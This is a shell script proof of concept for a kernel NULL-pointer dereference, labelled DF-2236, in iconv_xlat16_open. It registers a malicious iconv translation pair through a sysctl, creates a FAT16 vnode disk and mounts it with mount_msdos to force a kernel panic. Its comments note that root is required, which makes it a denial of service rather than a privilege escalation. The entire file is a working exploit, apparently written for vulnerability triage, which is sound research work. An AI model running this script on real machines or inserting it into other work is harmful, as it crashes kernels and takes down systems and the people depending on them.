#!/bin/sh
# DF-2236 PoC: triggers the NULL-deref panic in iconv_xlat16_open.
#
# Chain:
#  1. Register malicious xlat16 pair "CP437"->"ISO8859-1" with cp_data=NULL
#     via kern.iconv.add sysctl.
#     NOTE: the sysctl REQUIRES root (EPERM for unprivileged users), contrary
#     to the finding's claim of "NO privilege check".  This is a root->kernel
#     DoS, not unprivileged->kernel.
#  2. Create a small FAT image + vnode disk.
#  3. mount_msdos -D CP437 -> kernel iconv_open("CP437","ISO8859-1")
#     -> finds the malicious pair -> iconv_xlat16_open -> *NULL deref -> panic.
#
# Must be run as root.
set -e
cd "$(dirname "$0")"

echo "[*] Loading kernel modules..."
kldload libiconv 2>/dev/null || true
kldload msdosfs 2>/dev/null || true
kldload msdosfs_iconv 2>/dev/null || true

echo "[*] Step 1: Register malicious xlat16 pair (cp_data=NULL) via sysctl..."
./df2236_register CP437 ISO8859-1 || { echo "[-] registration failed"; exit 1; }

echo "[*] Step 2: Create a FAT16 image..."
dd if=/dev/zero of=/tmp/df2236.img bs=1m count=32 2>/dev/null
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /tmp/df2236.img
newfs_msdos -F 16 /dev/vn0 2>&1 | tail -1

echo "[*] Step 3: mount_msdos -D CP437 (triggers iconv_xlat16_open with cp_data=NULL)..."
echo "[*] Expect: kernel panic / fatal trap 12 (NULL pointer deref in iconv_xlat16_open)"
mkdir -p /mnt/df2236
mount_msdos -D CP437 /dev/vn0 /mnt/df2236 2>&1 || echo "mount exit=$?"

echo "[?] If you see this, the kernel did not panic (check if fix is applied)."